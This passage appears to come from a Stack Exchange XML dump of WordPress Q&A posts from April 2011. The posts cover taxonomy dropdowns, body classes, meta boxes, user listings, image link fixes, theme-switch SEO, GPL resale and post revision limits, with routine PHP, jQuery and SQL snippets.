CommentCount="2" />
  <row Id="14702" PostTypeId="2" ParentId="14698" CreationDate="2011-04-13T23:49:08.607" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;get_query_var( 'term' )&lt;/code&gt; to get the current term and &lt;code&gt;get_query_var( 'taxonomy' ) to get the current taxonomy, then all that is left is to use [wp_dropdown_categories()][1] function with&lt;/code&gt;child_of&lt;code&gt;parameter and&lt;/code&gt;taxonomy` parameter,&#xA;so something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//first get the current term&#xA; $current_term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) );&#xA;//then set the args for wp_dropdown_categories&#xA; $args = array(&#xA;    'child_of' =&amp;gt; $current_term-&amp;gt;term_id,&#xA;    'taxonomy' =&amp;gt; $current_term-&amp;gt;taxonomy,&#xA;    ); &#xA; wp_dropdown_categories( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Done!&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-13T23:49:08.607" CommentCount="0" />
  <row Id="14704" PostTypeId="1" CreationDate="2011-04-14T00:37:21.777" Score="0" ViewCount="119" Body="&lt;p&gt;I am using &lt;code&gt;body_class();&lt;/code&gt; to style different sections of a wordpress site by their body class. Page styles descend from &lt;code&gt;.page-template&lt;/code&gt;, blog styles descend from &lt;code&gt;.single-post&lt;/code&gt; and/or &lt;code&gt;.blog&lt;/code&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a custom post type &quot;Products&quot; for the products section of the site and want to style this section specifically using it's body class, but unfortunately &lt;code&gt;body_class();&lt;/code&gt; is also giving the custom post type single pages the class &lt;code&gt;.blog&lt;/code&gt; which is making many of the blog styles override the product styles- very frustrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to take the &quot;blog&quot; class away for my custom post type single pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="325" LastActivityDate="2011-04-14T00:59:23.150" Title="Custom post type and body_class: Remove &quot;blog&quot; class" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;css&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="14705" PostTypeId="2" ParentId="14704" CreationDate="2011-04-14T00:59:23.150" Score="3" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;body_class&lt;/code&gt; filter to check if you are on your custom post type, and if so then just remove the &lt;code&gt;blog&lt;/code&gt; class like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function remove_blog_from_cpt_classes($classes, $class){&#xA;    global $post;&#xA;    if ($post-&amp;gt;post_type != &quot;products&quot;){&#xA;        return $classes;&#xA;    }else{&#xA;        foreach($classes as &amp;amp;$str){&#xA;            if(strpos($str, &quot;blog&quot;) &amp;gt; -1){&#xA;                $str = &quot;&quot;;&#xA;            }&#xA;        }&#xA;    }&#xA;    return $classes;&#xA;}&#xA;add_filter(&quot;body_class&quot;, &quot;remove_blog_from_cpt_classes&quot;, 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-14T00:59:23.150" />
  <row Id="14706" PostTypeId="1" CreationDate="2011-04-14T01:36:41.717" Score="-1" ViewCount="53" Body="&lt;p&gt;I uploaded a free wordpress theme called afterburner, provided by rocket theme. The problem is after a while of activating the theme, it is disappearing. All i see is the site loading with a plain page with no images/graphics. I am even unable to get into the admin area from that point. What i observed is ,the .htaccess file is automatically changed to empty file. &#xA;Did any one faced this problem before? any help please ..&lt;/p&gt;&#xA;" OwnerUserId="4652" LastActivityDate="2011-04-14T04:03:49.953" Title="Theme automatically disapperaing after some time" Tags="&lt;themes&gt;&lt;3.1&gt;&lt;htaccess&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14707" PostTypeId="1" AcceptedAnswerId="14711" CreationDate="2011-04-14T01:56:25.927" Score="2" ViewCount="267" Body="&lt;h3&gt;Problem&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;After realizing that post formats are pretty popular, but only a extremly rough drawn concept, i see that users will run into possible traps.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post format ...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uses post meta fields &amp;amp; user doesn't remember exact meta key name.&lt;/li&gt;&#xA;&lt;li&gt;takes the link/embed/whatever object from post editor &amp;amp; user inputs wrong data.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both are examples of possible traps a user could hit.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Idea&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The post format has a custom meta box that does only allow to input the expected data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea itself isn't that bad, but there's still the problem that the user would have to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;put data into the correct meta box&lt;/li&gt;&#xA;&lt;li&gt;then select the according post format.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Question&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;What i'm searching for is &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a solution that switches (ajax) the meta box (or just its content) based on the selection a user makes inside the post formats meta box  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OR...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;using a ajax/jquery-ui tabs inside the meta box to switch meta box contents &lt;em&gt;and&lt;/em&gt; save the according post format on 'save_post'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note:&lt;br&gt;&#xA;I'm not searching for the exact meta box content. My most interesst is to see the 'surroundings' in different &lt;code&gt;code&lt;/code&gt; examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="4282" LastEditorDisplayName="" LastEditDate="2011-04-14T14:37:51.220" LastActivityDate="2011-04-14T21:23:40.673" Title="post formats - how to switch meta boxes when changing format?" Tags="&lt;metabox&gt;&lt;post-meta&gt;&lt;ajax&gt;&lt;post-formats&gt;&lt;add-meta-box&gt;" AnswerCount="2" FavoriteCount="6" />
  <row Id="14708" PostTypeId="1" AcceptedAnswerId="14734" CreationDate="2011-04-14T01:57:03.127" Score="1" ViewCount="170" Body="&lt;p&gt;I am looking for a way to return something like the following: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User, email, post title, post status&lt;/li&gt;&#xA;&lt;li&gt;User, email, post title, post status&lt;/li&gt;&#xA;&lt;li&gt;repeated....&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each user on my site has only 1 post.  It is a custom post type called Company Listing.&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-04-14T18:29:28.250" Title="How can I list all WordPress users, their email adress, post title and post status?" Tags="&lt;list-authors&gt;" AnswerCount="2" />
  <row Id="14709" PostTypeId="2" ParentId="2838" CreationDate="2011-04-14T02:04:44.290" Score="0" ViewCount="" Body="&lt;p&gt;I experienced the same problem. For some reason WordPress inserts the complete text of the post into the description of each menu element, making it very heavy to upload when there are several elements. Just modify (shorten) or delete this description and changes will be saved with no 500 error. It worked for me.&lt;/p&gt;&#xA;" OwnerUserId="4653" LastActivityDate="2011-04-14T02:04:44.290" CommentCount="1" />
  <row Id="14710" PostTypeId="2" ParentId="14708" CreationDate="2011-04-14T02:13:53.233" Score="1" ViewCount="" Body="&lt;p&gt;a while ago i wrote a little tip on how to create a member list; you could use it as a starting point for what you want to accomplish: &lt;a href=&quot;http://wpti.ps/?p=45&quot; rel=&quot;nofollow&quot;&gt;http://wpti.ps/?p=45&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-04-14T02:13:53.233" />
  <row Id="14711" PostTypeId="2" ParentId="14707" CreationDate="2011-04-14T02:37:33.077" Score="1" ViewCount="" Body="&lt;p&gt;I did something like this once, but when you clicked on a certain category (essentially the same) It certainly isn't a true ajax solution, it just hides and reveals the div with the settings, but It is a solution which works. You'll definitely have to modify this for your needs, but if you have a grasp on jQuery, I'm sure you'll be able to modify this for your needs. If you are a little more specific about your needs, I'd be happy to edit this up to suit what you are looking for more exactly. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Code:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I used this in a plugin, but you can just put this into your theme's functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function customadmin_testimonial() {&#xA;    if ( is_admin() ) {&#xA;        $script = &amp;lt;&amp;lt;&amp;lt; EOF&#xA;&amp;lt;script type='text/javascript'&amp;gt;&#xA;    jQuery(document).ready(function($) {&#xA;        $('#testimonial-information').hide();&#xA;        $('#in-category-3').is(':checked') ? $(&quot;#testimonial-information&quot;).show() : $(&quot;#testimonial-information&quot;).hide();&#xA;        $('#in-category-3').click(function() {&#xA;            $(&quot;#testimonial-information&quot;).toggle(this.checked);&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;EOF;&#xA;        echo $script;&#xA;    }&#xA;}&#xA;add_action('admin_footer', 'customadmin_testimonial');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically what you have here is a jQuery script that initially hides a meta box that I have already set up. The box's ID is #testimonial-information. Then it checks on whether or not the specific category's box is checked, and if it is, shows it. Then it listens for a click on the specific category's box and toggles it's visibility.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Result:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A meta box that is visible only when the user has chosen a specific category. All you'll need to do is set up your metaboxes and get all the ID's of the elements you need. You'll need the ID's of the metaboxes as well as the checkboxes in question. Then all you need to do is follow this formula to get what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have everything set up but are having a hang-up writing the javascript, just provide me the ID's of the metaboxes and corresponding checkboxes and I'd be more than happy to write it up for you.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-14T02:37:33.077" CommentCount="1" />
  <row Id="14712" PostTypeId="2" ParentId="14706" CreationDate="2011-04-14T04:03:49.953" Score="0" ViewCount="" Body="&lt;p&gt;Make sure &lt;code&gt;define(WP_DEBUG, true);&lt;/code&gt; is set in your wp-config.php. Check to see what gets output -- that's usually pretty revealing.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-04-14T04:03:49.953" />
  <row Id="14713" PostTypeId="1" AcceptedAnswerId="14714" CreationDate="2011-04-14T04:14:27.920" Score="0" ViewCount="93" Body="&lt;p&gt;I moved from Wordpress.com to my own Wordpress.org hosting.&#xA;I had no problems importing all my posts over, and the images were all linked up fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the import, I decided to move my WP install from the root of HTML_public, to a new folder called Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The posts are all still fine, but the picture links are still pointing to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.dekhoforum.com/wp-content/uploads/2010/12/father-christmas-raymond-briggs.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.dekhoforum.com/wp-content/uploads/2010/12/father-christmas-raymond-briggs.jpg&lt;/a&gt;&lt;br&gt;&#xA;When they should be pointing to:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.dekhoforum.com/wordpress/wp-content/uploads/2010/12/father-christmas-raymond-briggs.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.dekhoforum.com/wordpress/wp-content/uploads/2010/12/father-christmas-raymond-briggs.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming I must have missed out a step and should have not been so hasty in moving things around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to automatically update all pics in all posts to point to the new URLs?  i.e. Add the new wordpress folder into each of the link URLs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.dekho.com.au/blog/&quot; rel=&quot;nofollow&quot;&gt;dekho.com.au/blog/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4280" LastActivityDate="2011-04-14T04:33:30.937" Title="Moved WP into new folder. How to fix image links in posts?" Tags="&lt;urls&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14714" PostTypeId="2" ParentId="14713" CreationDate="2011-04-14T04:33:30.937" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search-regex/&quot; rel=&quot;nofollow&quot;&gt;Search RegEx&lt;/a&gt; is a good plugin to be able to search and replace with Grep through all posts and pages to fix things like broken URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And no need to export the DB and use a text editor; that's overkill for simply adding the /wordpress.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-04-14T04:33:30.937" CommentCount="2" />
  <row Id="14715" PostTypeId="1" CreationDate="2011-04-12T21:30:36.023" Score="4" ViewCount="133" Body="&lt;p&gt;if If i switch my current wordpress blog theme with a new one, will i lose the SEO i have built up for my site?&lt;/p&gt;&#xA;" LastActivityDate="2011-04-20T05:43:27.680" Title="If i switch my current wordpress blog theme with a new one, will i lose the SEO i have built up for my site?" Tags="&lt;blog&gt;&lt;seo&gt;" AnswerCount="7" CommentCount="1" />
  <row Id="14716" PostTypeId="2" ParentId="14715" CreationDate="2011-04-12T22:09:15.170" Score="2" ViewCount="" Body="&lt;p&gt;The blog theme shouldn't affect any of the content on your site, only how it's displayed. So no, you shouldn't lose any SEO. All your content will still be there, and all the links will still be the same.&lt;/p&gt;&#xA;" LastActivityDate="2011-04-12T22:09:15.170" />
  <row Id="14717" PostTypeId="2" ParentId="14715" CreationDate="2011-04-12T22:24:34.240" Score="2" ViewCount="" Body="&lt;p&gt;As long as you don't change your URL's in the process, you'll be fine. And, changing themes does not cause URLs to change.&lt;/p&gt;&#xA;" LastActivityDate="2011-04-12T22:24:34.240" />
  <row Id="14718" PostTypeId="2" ParentId="14715" CreationDate="2011-04-13T03:29:12.263" Score="3" ViewCount="" Body="&lt;p&gt;SEO is not a thing that can be stockpiled and then expended. There are no SEO points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Absolutely different WordPress themes can effect how your site is indexed. Some themes are full of crap code. Some themes are full of junky outgoing links. Some themes look so ugly that user engagement will plummet. And so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What theme do you have now, and what theme are you switching to?&lt;/p&gt;&#xA;" OwnerUserId="3271" LastActivityDate="2011-04-13T03:48:14.597" />
  <row Id="14719" PostTypeId="2" ParentId="14715" CreationDate="2011-04-13T06:13:28.577" Score="1" ViewCount="" Body="&lt;p&gt;Depends. If both themes have the same semantic structure? If they show you information in the same way (from robot point of view), keywords, titles etc. If the new theme represent the links (structure) between pages in the same topological way? Do you site becomes faster to load? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMO Google will change some of the factors that he uses to calculate the rank of you site. But don't expect much difference in number of visitors, maybe moving from one domain of queries to slightly different one.&lt;/p&gt;&#xA;" LastActivityDate="2011-04-13T06:13:28.577" />
  <row Id="14720" PostTypeId="2" ParentId="14715" CreationDate="2011-04-14T07:10:51.550" Score="0" ViewCount="" Body="&lt;p&gt;Usually structural changes ( aka html tags/css) only have a temporary effect on SEO. Google understand people change their designs over time and expects as much. The permalink structure and content on the other hand, if changed, can have a noticeable effect. &lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-14T07:10:51.550" />
  <row Id="14721" PostTypeId="1" AcceptedAnswerId="14739" CreationDate="2011-04-14T07:41:59.383" Score="0" ViewCount="263" Body="&lt;p&gt;hey guys,&#xA;I'm using the sitewide tags Multisite plugin on my wordpress setup. I'm collecting all blogposts of multiple subblogs on my mainblog. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I could manage to exclude a certain category from this collection?&#xA;e.g. If a user is writing a blogpost on a subblog and is adding it to the category &quot;private&quot; the mainblog should not show this post!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-04-14T12:39:12.297" Title="wordpress multisite... collect all posts on main blog - exclude category?" Tags="&lt;categories&gt;&lt;multisite&gt;" AnswerCount="1" />
  <row Id="14722" PostTypeId="2" ParentId="4191" CreationDate="2011-04-14T07:51:21.450" Score="0" ViewCount="" Body="&lt;p&gt;instal plugin &quot;User Role Editor&quot; - Switch edit_theme_options ON - install plugin Adminimize - switch off &quot;Widgets&quot; and &quot;Switch Theme&quot; for Editors ;)&lt;/p&gt;&#xA;" OwnerUserId="4657" LastActivityDate="2011-04-14T07:51:21.450" />
  <row Id="14723" PostTypeId="1" CreationDate="2011-04-14T08:27:40.577" Score="1" ViewCount="181" Body="&lt;p&gt;I'm having the exact same problem described in this post: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4732/add-actionwp-ajax-action-name-myfunction-problem&quot;&gt;add_action(&amp;#39;wp_ajax_[action name]&amp;#39;, myfunction) problem&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set add_action('wp_ajax_my_function_call','my_ajax_function'). If I print_r($wp_filter) immediately after this line, my action is in the $wp_filter array. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, by the time I do my jQuery.post call to admin-ajax.php, my action has disappeared from $wp_filter. I verified this by adding this to line 354 of wp-includes/plugin.php: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($tag=='wp_ajax_my_function_call') print_r($wp_filter);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to user1567 in the above-cited post, &quot;the problem was the loading order and the location of the add_action calls.&quot; Unfortunately this hasn't helped me track down the problem. I tried setting the priority of the add_action to 99 and to 1. Neither helped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ideas on what might be causing this situation, or at an explanation of why, in general, an action that was definitely in $wp_filter at one point would inexplicably disappear from it without even being triggered?&lt;/p&gt;&#xA;" OwnerUserId="4658" LastActivityDate="2011-07-13T03:10:47.993" Title="add_action('wp_ajax_[action name]', myfunction) problem" Tags="&lt;ajax&gt;&lt;add-action&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14724" PostTypeId="1" AcceptedAnswerId="14726" CreationDate="2011-04-14T08:42:38.630" Score="2" ViewCount="129" Body="&lt;p&gt;What are the laws concerning developing WordPress sites using other developers' plugins and then selling the sites?&lt;/p&gt;&#xA;" OwnerUserId="1063" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-14T10:17:29.267" LastActivityDate="2011-04-19T06:07:59.753" Title="Selling WordPress sites?" Tags="&lt;plugins&gt;&lt;hosting&gt;" AnswerCount="2" />
  <row Id="14726" PostTypeId="2" ParentId="14724" CreationDate="2011-04-14T08:49:15.843" Score="5" ViewCount="" Body="&lt;p&gt;Please read through the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/License&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/License&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/about/license/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/about/license/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/GPL&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/GPL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.gnu.org/licenses/gpl.html&quot; rel=&quot;nofollow&quot;&gt;http://www.gnu.org/licenses/gpl.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You &lt;strike&gt;can't&lt;/strike&gt; can sell it as software or development, &lt;strike&gt;although&lt;/strike&gt; and/or you can also charge for maintanance and install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you should at least donate to the plugin developers, if you make money with their work somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;I'm am sorry for my previous lines: I have to admit that &lt;a href=&quot;http://www.gnu.org/philosophy/selling.html&quot; rel=&quot;nofollow&quot;&gt;GPL code can be sold, even if it's not your code&lt;/a&gt;, althought I still recommend donating.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastEditorUserId="4209" LastEditorDisplayName="" LastEditDate="2011-04-19T06:07:59.753" LastActivityDate="2011-04-19T06:07:59.753" CommentCount="3" />
  <row Id="14727" PostTypeId="1" AcceptedAnswerId="14731" CreationDate="2011-04-14T09:09:15.813" Score="3" ViewCount="153" Body="&lt;p&gt;How does one reduce the number of stored revision (e.g. 5 max) for post types that support revisions?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-04-14T21:12:29.807" LastActivityDate="2011-04-15T11:47:06.770" Title="How does one reduce the number of stored revisions?" Tags="&lt;posts&gt;" AnswerCount="4" />
  <row Id="14728" PostTypeId="2" ParentId="14724" CreationDate="2011-04-14T09:23:33.510" Score="4" ViewCount="" Body="&lt;p&gt;Under GPL you CAN resell the software. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. &lt;em&gt;GPLv2 Section 1&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The main restriction is if you do sell (or give away) you must:&lt;br&gt;&#xA;1) allow others to resell your works&lt;br&gt;&#xA;2) provide them with the original and modified source under GPL.&lt;br&gt;&#xA;3) Don't claim ownership/copyright of the original code and clearly start where (if anywhere) you modified it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that although WordPress.org requires all plugins in the WordPress.org repo to be GPL that doesn't mean it's true for plugins found outside of WordPress.org. It is YOUR responsibility to know the license. The biggest example is a lot of themes will license there PHP template files as GPL but not the CSS, JS, or Image files. Also some plugins will be &lt;a href=&quot;http://www.gnu.org/licenses/license-list.html#GPLCompatibleLicenses&quot; rel=&quot;nofollow&quot;&gt;GPL compatible&lt;/a&gt; but not GPL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress.com uses plugins made by others to enhance the site and make a profit. Nothing says you can't make money just that if you distribute the code at all you have to allow others to do the same. Part of CNN.com runs WordPress has made and modified code that will never see because they don't redistribute it. Because the plugin authors have redistribute their code that changes everything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really it also comes down to ethics. In most cases credit/donations are nice. I also think it depends if you block the end-user from the source or allow them to see that it's WordPress and which plugins are used or are trying to create a closed source system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I'm not a lawyer I suggest that you talk to one before starting a business reselling GPL Code. My advice is purely from my own knowledge and understanding.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also encourage you to read the links that @cadeyrn posted although they link to &lt;a href=&quot;http://www.gnu.org/licenses/gpl.html&quot; rel=&quot;nofollow&quot;&gt;GPLv3&lt;/a&gt; and WordPress is under &lt;a href=&quot;http://www.gnu.org/licenses/gpl-2.0.html&quot; rel=&quot;nofollow&quot;&gt;GPLv2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-04-14T09:23:33.510" CommentCount="6" />
  <row Id="14729" PostTypeId="2" ParentId="14727" CreationDate="2011-04-14T09:29:08.680" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure of an automatic way but there is always running the MySQL Query &lt;code&gt;DELETE FROM wp_posts WHERE post_type = &quot;revision&quot;&lt;/code&gt; (&lt;a href=&quot;https://twitter.com/#!/ozh/status/24959797791&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;) I haven't done it but I'm sure it works. I'd look for a plugin by now there has to be something.&lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-04-14T09:29:08.680" />
  <row Id="14730" PostTypeId="2" ParentId="8754" CreationDate="2011-04-14T10:00:10.113" Score="0" ViewCount="" Body="&lt;p&gt;Use this &lt;a href=&quot;http://kwebble.com/blog/2007_08_15/archives_for_a_category&quot; rel=&quot;nofollow&quot;&gt;http://kwebble.com/blog/2007_08_15/archives_for_a_category&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2011-04-14T10:00:10.113" />
  <row Id="14731" PostTypeId="2" ParentId="14727" CreationDate="2011-04-14T10:08:52.900" Score="8" ViewCount="" Body="&lt;p&gt;add to your wp-config.php file the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// set max post revisions    &#xA;define('WP_POST_REVISIONS', 5);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Post_Revisions&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Editing_wp-config.php#Post_Revisions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-04-14T10:08:52.900" />
  <row Id="14732" PostTypeId="1" CreationDate="2011-04-14T10:46:20.943" Score="0" ViewCount="196" Body="&lt;p&gt;i am using &lt;a href=&quot;http://betterwp.net/wordpress-plugins/bwp-minify/&quot; rel=&quot;nofollow&quot;&gt;better wordpress minify&lt;/a&gt; plugin &#xA;but it breaks site due to one of css file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.mydomain.net/?mcsf_action=main_css&amp;amp;#038;ver=3.1.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i would like to add it into exception list so that it ignores it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's screen-shot for admin panel &#xA;&lt;a href=&quot;http://bayimg.com/jaHFdAaDj&quot; rel=&quot;nofollow&quot;&gt;http://bayimg.com/jaHFdAaDj&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it says &lt;strong&gt;Type in one script handle (NOT filename) per line&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so what should be the script handle in this case thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it looks like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.domain.net/wp-content/plugins/bwp-minify/min/?f=?mcsf_action=main_css&amp;amp;ver=1.2.2,wp-content/plugins/wp-e-commerce/themes/ishop/ishop.css,wp-content/plugins/wp-e-commerce/themes/compatibility.css,wp-content/plugins/wp-e-commerce/js/product_rater.css,index.php?wpsc_user_dynamic_css=true&amp;amp;category=5,wp-content/plugins/wp-e-commerce/js/thickbox.css&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;firephp shows Minify: GET param 'f' invalid (see MinApp.php line 63)&lt;/p&gt;&#xA;" OwnerUserId="4662" LastEditorUserId="4662" LastEditorDisplayName="" LastEditDate="2011-04-14T12:03:34.807" LastActivityDate="2011-04-14T13:23:22.870" Title="better wordpress minify problem" Tags="&lt;optimization&gt;" AnswerCount="1" />
  <row Id="14733" PostTypeId="2" ParentId="14732" CreationDate="2011-04-14T11:07:38.303" Score="1" ViewCount="" Body="&lt;p&gt;I'm the author of that plugin. I think you should post such question on WP.org's support forum or on my website so I can get to you faster. If not for the pingback from this site I wouldn't know you are asking this :).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About your issue, how did you enqueue that file? How does your minify URL look like when my plugin is enabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: And here is the answer: &lt;a href=&quot;http://betterwp.net/163-bwp-minify-released/comment-page-1/#comment-93&quot; rel=&quot;nofollow&quot;&gt;http://betterwp.net/163-bwp-minify-released/comment-page-1/#comment-93&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4663" LastEditorUserId="4663" LastEditorDisplayName="" LastEditDate="2011-04-14T13:23:22.870" LastActivityDate="2011-04-14T13:23:22.870" CommentCount="3" />
  <row Id="14734" PostTypeId="2" ParentId="14708" CreationDate="2011-04-14T11:08:36.153" Score="3" ViewCount="" Body="&lt;p&gt;You can do that with a simple loop assuming that the users are also the authors of the post,&#xA;create a template page, and copy the inside of your page.php to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then replace the loop part with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'company-listing', //change this to your actual CPT name&#xA;    'posts_per_page' =&amp;gt; -1, //-1 to get all or any number you want to use with pagination&#xA;);&#xA;query_posts($args);&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;User, email, post title, post status&#xA;    &amp;lt;div class=&quot;post company-listing&quot;&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;&amp;lt;?php  $user_info = get_userdata($post-&amp;gt;post_author); ?&amp;gt;&#xA;        &amp;lt;li class=&quot;user&quot;&amp;gt;&#xA;            &amp;lt;?php echo $user_info-&amp;gt;user_nicename; ?&amp;gt;&#xA;        